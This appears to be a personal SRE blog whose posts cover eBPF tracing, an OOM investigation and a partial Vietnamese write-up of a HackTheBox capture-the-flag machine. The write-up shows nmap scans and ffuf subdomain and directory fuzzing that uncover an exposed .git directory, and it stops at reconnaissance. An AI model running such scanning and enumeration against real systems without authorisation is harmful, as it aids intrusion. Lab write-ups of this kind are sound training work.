VuNguyen's SRE Blog

New packet-sniffer tool

2026-01-07T00:00:00+00:00

I had this idea yesterday because I got a task about research error responses of Redis those are sent back to clients/applications several days ago. I didn’t spend much time to research this task, because it was similar with MySQL tracing tool I done before, I discussed about that in this post

But, maybe there are many problems when I want to implement more than one tool like this, it has similar codebase, directory structure, even function name. Copy project from one to another and rename it, logic is only changed in a function, blah blah … All of these aren’t always a good idea. At current time, I only have MySQL, Redis, but in the future it may have more (for example: Kafka, Postgres, MongoDB). Not to mention that if I need to add a function on all of these tool, I need to update in all of project, this obivously is nightmare.

I very very don’t like to do the repeatable work

So, I created a new project with a new codebase (this project was renamed from old project, which has a name mysql-error-echo). Project link: https://github.com/vuvietnguyenit/packet-sniffing

I only take around 15min to add new Redis sniffer module, export to Prometheus metrics, inherit functions are existed before, that is very convenient. Moreover, I won’t scary about add new functions on these sperate projects, because all project is one project. But to achieve this, you need a sufficiently good codebase.

Ah, in the previous post, I mentioned about performance when use sniffing technique. I built a testing idea like this:

I used two machine to test latency about Redis client -> server, send request from machine 1 and get response from machine 2. I put BCC (base on eBPF) latency measurement tool tcpconnlat on machine 1 to measure latency of “spammer” PID when enable/disable sniffer tool on machine 2 that I described in image above.

And it give me a result: “Latency didn’t change when I enabled/disabled sniffer tool on machine 2”. If you can see “Something is wrong” in my testing idea, let’s me know it. Thanks.

Happy new year 2026

2026-01-02T00:00:00+00:00

I kicked off the first Friday of 2026 with a lunchtime swim, wearing a pair of loose swim trunks. I was constantly worried they might slip off every time I pushed hard against the pool wall to get momentum. So I ended that swim having covered just 425 meters. 🙂

Today all of my teamate is absent, only me and my boss go to office to do some shit things. I was going to book take a leave today but I didn’t have any ideas about what I could do today. So, I went to the office and drink boss’s capuccino 😅

Then leaving the office at 2 PM to go somewhere that can make me have more excited with today’s work.

I read some page of a book, not interesting so I open Jira to see something news, nothing news. I just got a task about Redis tracing a few days ago. Therefore, I’ve though about it all of this morning, I thinking what is best way that can do with it, network sniffing over-the-wire? syscall tracing? any hacking ways 🤔? (I don’t like to do the repeatable work, because I done the similar work with MySQL trace before by sniffing over-the-wire. See mysql tracing).

I love ideas, intelligence things, creative. So, in this work I want to do the different with previous one, and sure I need to ensure that it will be better. I read and research about the easiest way but perfect with this task (try it with Python and Scapy - lazy-way 😌😌, that is difference way with previous: Go-packet).

But as you know (or you don’t know 😂😂😂) Python is very slow. What will happen when you use Python to inspect million packets per second 🤨? But Python is providing Scapy, I curious with its performace, I thinked a lot “Are there any magics that can make it very fast by Python ?”, any CPython is implemented in this library ? or something else.

I think I might to try it to ensure that it can provide me the thing I want, prevent do futile works, or even make network latency is more higher.

So, let’s continue in next story.

Happy new year 2026.

On-the-Fly MySQL Response Tracing - Part 1

2025-10-20T00:00:00+00:00

Ngày 20/10 chúc một nửa thế giới luôn xinh đẹp và tỏa sáng - như ánh đèn Bestlight trong mọi không gian! ✨

Tặng chị em track/reel anh nghiện mấy tuần nay 😎🎶: https://www.tiktok.com/@doanhnhansena/video/7561723932211105031?lang=en

Decrease MTTR (Mean Time To Response) is the most important when we do incident response (IR), it largely depends on the skills and knowledge of the engineers responsible for the system, the more experience and understanding they have, the faster they can resolve issues. But no one can understand all corners of system. Therefore, if we can provide clear insights that help any engineer quickly understand what is happening in the current situation, we can significantly reduce response time and save both time and cost for the organization.

But, how can do that ? That is a very difficult question I thinking about recently, because we met some operate problems in our system, we will take many time to incident response when it happening. That problem is about our database cluster (MySQL) and backends connect to, we don’t know what exactly backend connect to MySQL server, what response my database responsed to the backend when the users told that they can’t access page A,B,C and we couldn’t know how many components have been built in those pages. Just developer/product owner know about it, but how can we proactive it when something wrong happen ?

Our MySQL cluster processes approximately 20,000 requests per second - a significant throughput level. Given that 1/3 of Vietnam’s population uses our product, performance considerations are absolutely critical.

Flow:

[Client] <---> [backend] <---> [DB]

Because MySQL legacy doesn’t provide a details what message responsed to the backend in logs or something like this, we can see that at backend level (if developer print it to console), not from database level because this information isn’t available, that makes everything become more hardly to trace.

There is some solutions we can apply in this simple workflow to help “insight” anything we want to know:

Solution 1: We can integrate some module to our backend to push to centralize somewhere what “insight” we want to know that can read and filter it later.
Solution 2: Implement more layer between backend and DB help to catch everything happening.

Analysis:

In solution 1, we need to integrate some logic in backend to do this, that mean we will make more complicated backend and in microservice architechture, that is anti-pattern. Furthermore, if we had many backends these connect to, we need to re-implement it in all of them (or build common-lib that will help decrease a little bit toils), and sure if we need to update something in that module, we need to re-update it in all other backends too.
In solution 2, we can done it more easily, we can use open-source proxy-style like ProxySQL, adjust config and we can use it immediately with very little toils. Like this:

Flow:

[Client] <---> [backend] <---> [proxy] <---> [DB]

But in solution, we implemented more layer in workflow already. This means, the latency will increase significantly (as there are additional factors to consider, for example network bandwidth, throughput, hardware performance, … affect to latency in this case). With simple thinking, we adding a step in overall workflow -> need more time to do this step. Additionaly, we just want to know what the response responsed to our backend, not by requests or some other one, we will make Over-Engineering. And sure about that we need much more computer resources to implement it. Moreover, if we have very big system that handle million users or billion request per day, latency of each request is one of the most thing we need to consider at. Easily, because we don’t want to make users unhappy because my system is slow of unreliable.

Thus, what is the best solution we can consider in this case?

That is BPF, we can write a BPF program to catch TCP packets that sent before backend received it. In Linux kernel, every message send via TCP proto handled by tcp_sendmsg function. The main tasks we need to consider are “Which deployment methods we will use ?”, “How can we test, experimental and integrate it into our big system ?”. I will write more details about it in next chapter.

[Client] <-- tcp_sendmsg() -- [Server]
                  ^
                  |
        we will hook from here

Have a good day.

GPU tracing and monitoring at low-level

2025-08-09T00:00:00+00:00

Recently, I tried to find some ways to monitor workload of GPU in Linux server to help detect issues when training AI models. I went to internet and find some opensource to help me do that because I don’t want to take a lot of time to build something from scratch 🙂. I’m lazy and always want to use my brain that think about anything beautiful, colorful in the world, not from computer 😌

But almost I can’t find any opensource this can fit with my case, I found an exporter that might help me a little bit: https://github.com/utkuozdemir/nvidia_gpu_exporter. I read this opensource very carefully and realized that the implementation of code is basic (call cmd of nvidia-smi, get result and parse the result in Go code), that implementation works fine but not native and it can’t help me in trace problems in low-level function (malloc(), free() call, performance of train processes, bottlenecks or something like that).

Because of all this, I very curious with how tools like nvidia-smi, nvtop can trace process’s resource usage. And when I checked it, both of them mapped with a shared library libnvidia-ml.so

root@gpu1:~# ps aux | grep nvidia-sm                                                            
root      623505  4.2  0.0 313864 18320 pts/75   Sl+  10:34   0:12 nvidia-smi pmon -s u                                                                                                          
root      625262  0.0  0.0   9276  1964 pts/35   S+   10:39   0:00 grep --color=auto nvidia-sm                                                                                                   
root@gpu1:~# ps aux | grep nvtop                                                                                                                                                                 
root      625267  0.0  0.0   9144  2064 pts/35   S+   10:39   0:00 grep --color=auto nvtop                                                                                                       
root     3667564  2.0  0.0 185120 22220 pts/69   Sl+  Aug07  51:54 nvtop
root@gpu1:~# cat /proc/623505/maps | grep libnvidia
7b4a27200000-7b4a273e7000 r-xp 00000000 00:1c 356260                     /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.570.133.07 # here
root@gpu1:~# cat /proc/3667564/maps | grep libnvidia
7eb296600000-7eb2967e7000 r-xp 00000000 00:1c 356260                     /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.570.133.07

When tools like nvidia-smi be use, it load [libnvidia-ml.so] first and then make the calls to API functions written by C to query and control NVIDIA GPUs via this shared library under the hood.

We can check the functions provided by shared library

root@gpu1:~# nm -D --defined-only /usr/lib/x86_64-linux-gnu/libnvidia-ml.so | head
0000000000069dc0 T nvmlComputeInstanceDestroy
000000000006a390 T nvmlComputeInstanceGetInfo
000000000006a5a0 T nvmlComputeInstanceGetInfo_v2
0000000000085c20 T nvmlDeviceClearAccountingPids
00000000000515f0 T nvmlDeviceClearCpuAffinity
000000000007b260 T nvmlDeviceClearEccErrorCounts
0000000000064240 T nvmlDeviceClearFieldValues
00000000000683f0 T nvmlDeviceCreateGpuInstance
0000000000068620 T nvmlDeviceCreateGpuInstanceWithPlacement
0000000000063e60 T nvmlDeviceDiscoverGpus

And reference it with its documentation https://docs.nvidia.com/deploy/nvml-api/ to see how the function is used.

Additionally, when jobs run on the GPU server, they make calls to the CUDA Runtime/Driver API to use GPU resources (memory, CPU, etc.) via the shared libraries libcuda.so and libcudart.so. You can list the functions defined in the library using nm as shown above, and refer to its documentation on the internet.

eBPF comes into play

I was thinking about write an eBPF program that can help me do everything above like this:

SEC("uprobe/cuMemAlloc")
int trace_cu_mem_alloc_entry(struct pt_regs *ctx) {
  __u64 pid_tgid = bpf_get_current_pid_tgid();
  __u32 pid = pid_tgid >> 32;
  CUdeviceptr *dptr_ptr = (CUdeviceptr *)PT_REGS_PARM1(ctx);
  __u64 size = PT_REGS_PARM2(ctx);
  if (bpf_map_lookup_elem(&inflight, &pid_tgid)) {
    bpf_printk("cuMemAlloc entry: pid_tgid=%llu already has inflight alloc",
               pid_tgid);
    return 0;
  }
  bpf_map_update_elem(
      &inflight, &pid_tgid,
      &(struct alloc_info_t){.size = size, .dptr_addr = (CUdeviceptr)dptr_ptr},
      BPF_ANY);
  bpf_printk("cuMemAlloc entry: pid_tgid=%llu, size=%llu, ptr=0x%llx", pid_tgid,
             size, dptr_ptr);
  return 0;
}

This implementation helps me trace anything at the low-level function level and lets me gather all the metrics I need with minimal resource usage on the server. However, it requires C for the eBPF program and another “frontend” language (Go, Python), which is a big challenge. But it can give me everything operation I want. As far as I know, there’s no open-source project that does this yet, so I want to contribute it as the first program to achieve that 😄.

That’s genius!

OOM Profiler Investigation

2025-07-03T00:00:00+00:00

Several days, we met a incident about OOM Killer, this event happened and doesn’t leave any traces only provide a obscure hint:

[32649828.020667] Out of memory: Kill process 2012894 (`keydb-server`) score 1015 or sacrifice child
[32649828.020792] Killed process 2012894 (`keydb-server`) total-vm:10830176kB, anon-rss:4102576kB, file-rss:0kB, shmem-rss:0kB

Honestly, we don’t know why was this process killed, so we need to investigate “why” and what happened on server when incident occur. Maybe, it was innocent and another process was leaded to excessive memory consumption make OS choose innocent guy to kill in some way.

I need to investigate it and expose the criminal, bring it to light. Firstly, I need a good scenario to reenact the story happened. So, I have written some Python scripts to simulate that.

The script make OOM to the server, and it can’t be killed

# cat hogger.py 
#!/usr/bin/python3
import time
import os

pid = os.getpid()
print("current PID: ", pid)

# Make this process OOM-immune
with open(f"/proc/{pid}/oom_score_adj", "w") as f:
    f.write("-1000")

a = []
try:
    while True:
        a.append(bytearray(1024 * 1024))  # 1MB
        time.sleep(0.05)  # Sleep 50ms per chunk = 20MB/s
except MemoryError:
    print("Out of Memory caught by Python")

The victim script, the innocent guy. But, it be easily target by OS because it have higher oom_score (oom_score_adj=1000)

# cat victim.py 
#!/usr/bin/python3

# victim.py
import os
import time

pid = os.getpid()
print("Current PID: ", pid)

# Make this process preferred OOM target
with open(f"/proc/{pid}/oom_score_adj", "w") as f:
    f.write("1000")

print("Victim running (innocent)...")

while True:
    time.sleep(1)

I ran two scripts as two guy, one bad guy and one good

# ./victim.py & 
[1] 4333
Current PID:  4333
Victim running (innocent)...

# ./hogger.py &
[2] 4380
current PID:  4380

I check running process

# ps aux | grep ".py"
root        4333  0.0  0.4  19696  8064 pts/0    S    14:54   0:00 /usr/bin/python3 ./victim.py
root        4380  2.5 10.0 212960 201344 pts/0   R    14:54   0:00 /usr/bin/python3 ./hogger.py
root        4409  0.0  0.1   9736  2176 pts/0    S+   14:54   0:00 grep .py

Result:

# dmesg | grep -i "killed"
[  839.048830] Out of memory: Killed process 4333 (victim.py) total-vm:19696kB, anon-rss:128kB, file-rss:2048kB, shmem-rss:0kB, UID:0 pgtables:68kB oom_score_adj:1000
[  839.208546] Out of memory: Killed process 3766 ((sd-pam)) total-vm:168824kB, anon-rss:2900kB, file-rss:1024kB, shmem-rss:0kB, UID:0 pgtables:92kB oom_score_adj:100
[  839.341809] Out of memory: Killed process 3765 (systemd) total-vm:18756kB, anon-rss:1408kB, file-rss:2048kB, shmem-rss:0kB, UID:0 pgtables:80kB oom_score_adj:100
[  839.453650] Out of memory: Killed process 3630 (dockerd) total-vm:1311288kB, anon-rss:31276kB, file-rss:2048kB, shmem-rss:0kB, UID:0 pgtables:344kB oom_score_adj:0
[  840.724121] Out of memory: Killed process 4110 (exim4) total-vm:29856kB, anon-rss:12200kB, file-rss:1664kB, shmem-rss:0kB, UID:104 pgtables:96kB oom_score_adj:0
[  840.727999] Out of memory: Killed process 3644 (unbound) total-vm:102252kB, anon-rss:10744kB, file-rss:2048kB, shmem-rss:0kB, UID:105 pgtables:100kB oom_score_adj:0
[  841.976443] Out of memory: Killed process 4441 (dockerd) total-vm:1087756kB, anon-rss:8580kB, file-rss:1792kB, shmem-rss:0kB, UID:0 pgtables:212kB oom_score_adj:0
[  842.808361] Out of memory: Killed process 3762 (sshd) total-vm:17776kB, anon-rss:1664kB, file-rss:2176kB, shmem-rss:0kB, UID:0 pgtables:72kB oom_score_adj:0

Because the OS will consider process will be killed by oom_score, the process has the highest oom_score will be killed first (so victim.py will be killed first), and continue do the same until OS has free enough space. That is why we have many process was killed then.

In real case (we met before), keydb-server is a important service we need to keep first, but maybe has another process triggered OOM (or even the keydb-server itself. Idk. But it wasn’t important because we need an evidence to show that) and keydb-server consume lot of memory too, but it can’t be easily killed.

After all, I think we need something like catch syscall event (SIGKILL in this case, thinking a lot about eBPF), the data can be dump process usage in somewhere, this help us investigate what happened at that time.

Memoir of June 12, 2025

2025-06-12T00:00:00+00:00

Recently, I felt tired and have many bad emotions because I working with MS Teams, Telegram has been banned in Vietnam recently. So, my team move to this platform of MS, I very hate that, in my opinion that is fucking platform, even it doesn’t exists on Linux. Damn it!!. As a SRE, I don’t want to do tasks related to Microsoft Platforms, I like UNIX, I like command-line interface, I want to use programing language or script to resolve my problem, not Drag/Drop and my co-workers don’t like MS as well. MS Teams can be familiar with almost standards users but if you do tasks related to interaction with Teams’s API, Workflow, Push-notification problems …

I felt so damn pissed, I swore way too many times because of it 🙂, even though my boss was sitting right next to me.

We don’t want to add more platform related to messaging jobs, I think we just need one. And then, we decided to choose MS Teams, and this make a lot of fucking emotion problem to me 😄.

My boss and I have some discussions about: “How we can help another teams can subscribe ours alerts, they can have full control with their alerts as they want, then we (my team) don’t do more anything, we need to focus on operation job, make the system reliable, secure and fast,…” Or, we just go to the office, have some talks, then go to swim at lunch, read some books in the afternoon and go home with their wife (or many wife) or pick some lucky girls to go out at night 🥰 (very true, i like it).

Back to my story. I think i have a good design to my Alertmanager system as my above idea, i will write up about it in another day, but most of problem related to Teams’s Workflow, Mobile push-notification, and I had some smart idea to improve it to better. It took away a lot of my joy over the past few days. I did get something back when I solved the problem though it felt like an unequal trade-off.

I can’t believe this is how a message is created and sent in MS Teams. I don’t like C#, so I hate it, and I have no intent to learn it, although I must write some expressions to interact with data structure in this job, this isn’t problem with me.

Let’s throw these things out off my self when I finish this task. **

Kick Your Ass, Monorepo Mindset!

2025-03-27T00:00:00+00:00

Blame Monorepo

Nếu dùng để quản lý cấu hình tâp trung thì ok, chúng ta có thể tracking tất cả những thay đổi trên toàn bộ hệ thống của chúng ta trên một repo tập trung, điều này rõ ràng là tiện dụng vì không cần quản lý quá nhiều cấu hình lẻ tẻ ở những nơi khác nhau.

Tuy nhiên, đối với source code. Hãy thử nghĩ về việc làm điều tương tự như với configuation management. Well, we should not do it.

Bởi vì source code thì chúng ta cần build, packaging, release it. Sẽ thật vô nghĩa nếu release không có version. Sẽ thật khốn kiếp nếu có điều gì đó xảy ra và chúng ta cần revert chúng về version trước đấy. Khi bạn cho tất cả source code vào a mono-repo.

Hoặc là bạn sẽ manual tagging version nó theo folder mà bạn chỉ định.
Hoặc là bạn sẽ cần tagging và build lại toàn bộ repo khổng lồ khi bạn thay đổi một phần rất nhỏ.
Bạn muốn quản lý a build script phức tạp thay vì nhiều scripts build khác ở nhiều nơi ? Điều gì sẽ xảy ra khi có một thành phần mới xuất hiện trong project của bạn, và bạn sẽ phải cập nhật lại build script tương tương ứng với sự thay đổi đó ? Sẽ không có tính tái sử dụng nào ở đây cả!
Bạn muốn bỏ lỡ tất cả những tính năng tuyệt vời sẵn có mà Source Version Control đem lại không. Hay bạn muốn build lại một cái bánh xe to hơn nhưng thực sự cái bánh xe to đó nó không giúp xe của bạn đi nhanh hơn!!!!

Nghe có vẻ hợp lý và uy tín khi trong blog này đề cập đến việc Google sử dụng Monorepo:

Why does Google use Monorepo? by Alex Xu

Thật sự thì, Google họ sử dụng nhiều mô hình khác nhau, không chỉ riêng Monorepo. Bài viết được đăng tải vào năm 2023 bởi một blogger tương đối nổi tiếng. For fuck’s sake, I honestly can’t call this a complete article :D

Việc Google sử dụng mô hình monorepo xảy ra từ trước khi sự phát triển mạnh mẽ của Source Version Control và CI/CD khi codebase của họ tại thời điểm đó bản chất được quản lý trên một legacy centralized version control system (có thể hiểu đơn giản là self-host). Chưa kể, câu chuyện ở đây là đối với một repo lưu trữ C programing language code. Về bản chất họ muốn việc quản lý các dependencies phức tạp trở nên thuận tiện dẫn đến việc tạo ra sân chơi cho monorepo để tất cả mọi thứ đều có thể tái sử dụng và gọi lẫn nhau.

Why Google Stores Billions of Lines of Code in a Single Repository

Sau câu chuyện này, họ đã mất rất nhiều tiền và công sức để thực hiện migrate nó. Đây là bài học được rút ra. Ngoài ra, kể cả Kubernetes moved to GitHub from a monorepo https://github.com/kubernetes/kubernetes/issues/24343.

Tuy nhiên, bài đăn của blogger nổi tiếng kia được đăng tải vào năm 2023. Làm ít nhiều người đọc có những suy nghĩ rằng: “Google đã làm được, vậy thì chúng ta hãy học theo và áp dụng nó như best practice như Google đã làm” mà không thực sự hiểu được ngữ cảnh tại sao nó lại được sử dụng như vậy ? Quy mô của mình có đang giống với quy mô của Google không ?

Tóm lại, monorepo không còn phù hợp ở thời điểm hiện tại để lưu trữ source code, công nghệ đang dần thay đổi và chúng ta phải thích nghi với nó. Đừng cố Reinventing the wheel và phức tạp hóa mọi thứ. Một người kỹ sư khôn ngoan luôn biết cách làm một công việc bằng cách đơn giản nhất có thể.

Fucking shit cái hacking challenge củ b` này đã làm đầu óc tôi bận rộn 2 ngày cuối tuần vừa rồi.

2025-01-20T00:00:00+00:00

LinkVortex

Đây là dạng Jeopardy CTF: Problem Solving CTF. Room này phù hợp với những người đang làm hoặc có định hướng theo Redteam hoặc Pentest với các skill bao gồm: Recon, Web-Exploitation, Git Exposed Exploit, Shell script,…

Room này tôi mất khoảng 2 ngày (8h để có thể suy nghĩ và exploit được nó) mà k cần đọc bất cứ writeup nào. Vì mỗi lần khó khăn đi đọc writeup, tôi cảm thấy như tôi đang tự xúc phạm và hạ thấp kiến thức của chính bản thân mình, tôi thấy không thỏa đáng khi làm điều này :). Nên tôi đành pause và nghiên cứu, chấp nhận tốn thời gian chứ k phải đi đường tắt. Link room: https://app.hackthebox.com/machines/LinkVortex

Tiếp cận

Dĩ nhiên, nếu một CTF game thông thường thì việc scan port thì bạn cũng sẽ không cần suy nghĩ quá nhiều

Open port scan:

Scan trước các port các port có thể đang mở trên máy. Hãy thoải mái khi dùng -T5 bởi vì đây là 1 CTF game

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run --rm -it parrotsec/tools-nmap -v -Pn -T5 10.10.11.47
Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-20 03:21 UTC
Nmap scan report for 10.10.11.47
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Có 2 port đang mở trên máy mục tiêu. Hãy khám phá thêm thông tin về OS, service hay version của ports đang mở đó

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run --rm -it parrotsec/tools-nmap -v -sV -O -p22,80 -T5 10.10.11.47
Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-20 03:26 UTC
Nmap scan report for 10.10.11.47
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (99%), Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.4 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (94%), Linux 5.4 (94%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Các thông tin này có thể hữu ích trong mục đích điều tra trong tương lai. Điều đáng chú ý là có một port đang được open, đây là một website. Thử truy xuât vào và khám phá xem có điều gì đang diễn ra

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# curl  http://10.10.11.47
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://linkvortex.htb/">here</a>.</p>
</body></html>

Oh, có vẻ như website đang redirect đến một domain khác, đây là một local domain được chỉ định sẵn, đối với những kết quả như thế này. Trên 50% khả năng sẽ có một subdomain khác được bao gồm.

Chưa cần vội kiểm tra xem website có gì, hãy thu thập thêm thông tin để có góc nhìn rộng hơn và verify chính xác trên 50% khả năng tồn tại subdomain đã nói bên trên.

Trước hết cần chỉ định trỏ đến domain để có thể access vào website mục tiêu:

127.0.0.1       localhost
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.11.47 linkvortex.htb

Subdomain scan

Chọn ra một wordlists để từ đó có thể tạo một fuzzing payload. Nên thử trước với những wordlists ngắn để tối ưu thời gian:

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# fdfind -g "*domain*" /usr/share/seclists/
/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
/usr/share/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
/usr/share/seclists/Discovery/DNS/combined_subdomains.txt
/usr/share/seclists/Discovery/DNS/italian-subdomains.txt
/usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt
/usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
/usr/share/seclists/Discovery/DNS/subdomains-spanish.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/seclists/Fuzzing/User-Agents/software-name/domain-re-animator-bot.txt
/usr/share/seclists/Fuzzing/User-Agents/software-name/domaintools-surveybot.txt
/usr/share/seclists/Fuzzing/email-top-100-domains.txt
/usr/share/seclists/IOCs/kaspersky-careto-domains.txt
/usr/share/seclists/Miscellaneous/domains-1million-top.txt
/usr/share/seclists/Miscellaneous/top-domains-alexa.csv.zip
/usr/share/seclists/Miscellaneous/top-domains-majestic.csv.zip

Ở đây mình sẽ chọn /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt wordlist để thử trước tiên.

Sử dụng ffuf để thực hiện subdomain enum

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run -it --rm -v /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:/tmp/wordlist.txt -v /etc/hosts:/etc/hosts secsi/ffuf -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -w /tmp/wordlist.txt -c -r -fs 12148

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb
 :: Wordlist         : FUZZ: /tmp/wordlist.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 12148
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 154ms]
:: Progress: [641/4989] :: Job [1/1] :: 33 req/sec :: Duration: [0:00:15] :: Errors: 0 ::

May mắn tìm được một subdomain đang được public. Một lần nữa trỏ domain và sau đó hãy thử khám phá những điều thú vị của subdomain này.

Lúc này chúng ta đã có một vài thông tin hữu ích nhưng cũng chưa thể nghĩ ra được thêm nhiều phương án để tiếp cận các bước tiếp theo.

Thông thường, sẽ cố gắng liệt kê những endpoint đang tồn tại của mục tiêu để có thêm những phương án tiếp cận hay lỗ hổng đang tồn tại trên mục tiêu. Vì vậy, hãy tiếp cận chúng theo các cách thông thường trước.

Chọn wordlist để liệt kê những endpoint đang tồn tại

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# fdfind -g "*dir*" /usr/share/seclists/
/usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/directus-all-levels.txt
/usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/directus.txt
/usr/share/seclists/Discovery/Web-Content/KitchensinkDirectories.fuzz.txt
/usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt
/usr/share/seclists/Discovery/Web-Content/combined_directories.txt
/usr/share/seclists/Discovery/Web-Content/common_directories.txt
....

Sẽ thử trước với /usr/share/seclists/Discovery/Web-Content/dirsearch.txt

Dirsearch linkvortex.htb

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run -it --rm -v /usr/share/seclists/Discovery/Web-Content/dirsearch.txt:/tmp/wordlist.txt -v /etc/hosts:/etc/hosts secsi/ffuf -u http://linkvortex.htb/FUZZ -w /tmp/wordlist.txt -c -r

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb/FUZZ
 :: Wordlist         : FUZZ: /tmp/wordlist.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.                       [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 555ms]
                        [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 467ms]
About/                  [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 616ms]
About                   [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 465ms]
Private/                [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 680ms]
RSS/                    [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 259ms]
RSS                     [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 215ms]
Rss                     [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 478ms]
about/                  [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 576ms]
about                   [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 553ms]
favicon.ico             [Status: 200, Size: 15406, Words: 43, Lines: 2, Duration: 437ms]
feed/                   [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 455ms]
feed                    [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 389ms]
private/                [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 664ms]
robots.txt              [Status: 200, Size: 121, Words: 7, Lines: 7, Duration: 349ms]
rss/                    [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 537ms]
sitemap.xml             [Status: 200, Size: 527, Words: 6, Lines: 1, Duration: 294ms]
:: Progress: [12939/12939] :: Job [1/1] :: 50 req/sec :: Duration: [0:03:37] :: Errors: 4147 ::

Dirsearch dev.linkvortex.htb

[root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run -it --rm -v /usr/share/seclists/Discovery/Web-Content/dirsearch.txt:/tmp/wordlist.txt -v /etc/hosts:/etc/hosts secsi/ffuf -u http://dev.linkvortex.htb/FUZZ -w /tmp/wordlist.txt -c -r

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://dev.linkvortex.htb/FUZZ
 :: Wordlist         : FUZZ: /tmp/wordlist.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.                       [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 156ms]
.git/                   [Status: 200, Size: 2796, Words: 186, Lines: 26, Duration: 161ms]
.git/config             [Status: 200, Size: 201, Words: 14, Lines: 9, Duration: 160ms]
.git/description        [Status: 200, Size: 73, Words: 10, Lines: 2, Duration: 160ms]
.git/hooks/             [Status: 200, Size: 3540, Words: 208, Lines: 28, Duration: 163ms]
....
index.html              [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 225ms]
